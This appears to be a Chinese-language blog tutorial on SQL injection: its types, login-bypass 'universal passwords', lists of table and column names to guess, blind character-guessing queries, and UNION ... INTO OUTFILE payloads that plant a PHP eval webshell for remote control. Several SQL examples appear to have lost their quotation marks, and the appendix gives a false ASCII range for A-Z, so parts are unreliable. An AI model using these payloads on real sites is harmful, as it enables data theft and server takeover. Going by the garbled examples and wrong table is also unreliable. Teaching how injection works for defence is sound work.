SQL注入原理

SQL注入並沒有什麼神奇之處,只是因為程序員的疏忽,把用戶的輸入未做校驗就帶入到資料庫查詢中。

用戶對sql注入語句的可控性,可以輸入資料庫指令,被sql解析器執行,導致資料庫被用戶直接控制。

注入類型

按照資料庫的角度分類

  • 數字型

數字型注入意味著,當輸入的參數是整型時,如:ID,年齡,頁碼等。例如URL為:xxx.com/test.php?5 可以猜測SQL語句為:select * from xxtable where id=5

數字型注入多見於ASP和PHP的應用程序中,因為ASP和PHP輸入弱類型語言,例如:參數id=5,PHP會自動來推導變數id的數據類型為int類型,那麼id=5 and 1=1 則會推導為String類型,這是弱類型語言的特徵,而Java,c#這類強類型語言,如果試圖把一個字元串轉化為int類型,處理不當就會拋出異常,無法繼續執行。這方面強類型語言比弱類型語言有先天優勢,所以作為一個合格程序員,在數據類型處理方面一定要嚴格設置。

  • 字元型

當輸入參數為字元串時,稱為字元型。數字型與字元型注入最大的區別在於,數字型不需要單引號閉合,因為sql中的數字類型操作類型的一般使用單引號來表示。如:

數字型:

select * from table where id =5

字元型:

select * from table where username=admin
select * from table where username like %admin%

字元型注入也包括很多種,最後關鍵的是如何進行閉合,以及注釋多餘代碼:

select * from table where username=admin //這裡需要閉合
select * from table where username= or 1=1 --admin

實際上執行的是:

select * from table where username= or 1=1 --admin

只要字元串則必須單引號閉合以及代碼注釋,無論select注入,Insert注入,或者其他類型注入。

我們利用兩次單引號閉合才完成了這一次注入。

注意:根據資料庫不同,字元串連接符不同,字元串連接符也不同,如SQLServer連接符是"+",Orcale連接符是"||",MySQL連接符為空格。

對比

  • 數字型:

select * from table where id=8
select * from table where id=8 or 1=1

  • 字元型:

select * from table where username=admin //這裡需要閉合
select * from table where username= or 1=1 --admin

其他分類方法

  • 注入點不同

Cookie注入、POST注入、Get注入、搜索型注入

  • 利用sql語句不同

Update注入、select注入、union注入

  • 注入顯錯方式不同

顯示注入、盲注

SQL注入經典案例:萬能密碼

  1. or 1=1# (結尾有空格)
  2. or 1=1-- (結尾有空格)
  3. or 1=1

常用表名

通過自己幾年的學習開發經驗,總結了一下開發者常用的表名和用戶會員常用的欄位名稱,這些可以幫助我們去猜測一些信息,從而為SQL注入收集一些值得去嘗試的資料。

  • 常用的表名

admin、 user、 news、 manage、 a_admin、 x_admin、 m_admin、 adminuser、 admin_user、 article_admin、 administrator、 manager、 member、 memberlist、 users、 Manage_User、 user_info、 admin_userinfo、 login、 new

  • 用戶會員常用的列名

username、 password、 id、 adminusername、 admin_username、 adminname 、admin_name、 admin adminuser、 admin_user、 user_name、 user_admin、 administrator、 administrators、 adminpassword、 admin_pwd、 adminpass、 userpass、 user_pass、 admin_passwod

小技巧

  • 猜欄位值(一個字母一個字母猜)

首先判斷是否大於0,如果小於0說明已經猜到結尾,不存在!

and (select top 1 asc(mid(admin,2,1)) from admin)=字母的ASCII值 ==》二分法

  • 傳一句話木馬

寫一句話木馬(PHP)

select <?php @eval($_POST[cmd])?> INTO OUTFILE C:/xampp/htdocs/360.php #
http://192.168.17.102:800/510cms/510cms/news.php?newsid=25 union select 1,2,3,<?php @eval($_POST[cmd])?> INTO OUTFILE C:/wwwroot/510cms/360.php #

通過菜刀連接

union select NULL,NULL,NULL,<?php @eval($_POST[cmd])?> INTO OUTFILE C:/xampp/htdocs/360.php --+

SQL注入常用工具

結束篇

這篇文章我們主要介紹了SQL的基本原理和分類以及在SQL注入當中的一些小技巧,這些內容都是小編在自己的學習當中總結出來的,如有錯誤或者不足,望大家批評指正。希望藉此機會能夠更大家一起學習交流,歡迎大家在評論區留言,下篇再見!

附錄

由於在瀏覽器進行簡單的sql注入時,經常需要猜測某些字元所對應的ASCII表,下面我們給出該表:

其中:

0-9 48-57

A-Z 58-96

a-z 97-122


推薦閱讀:
相关文章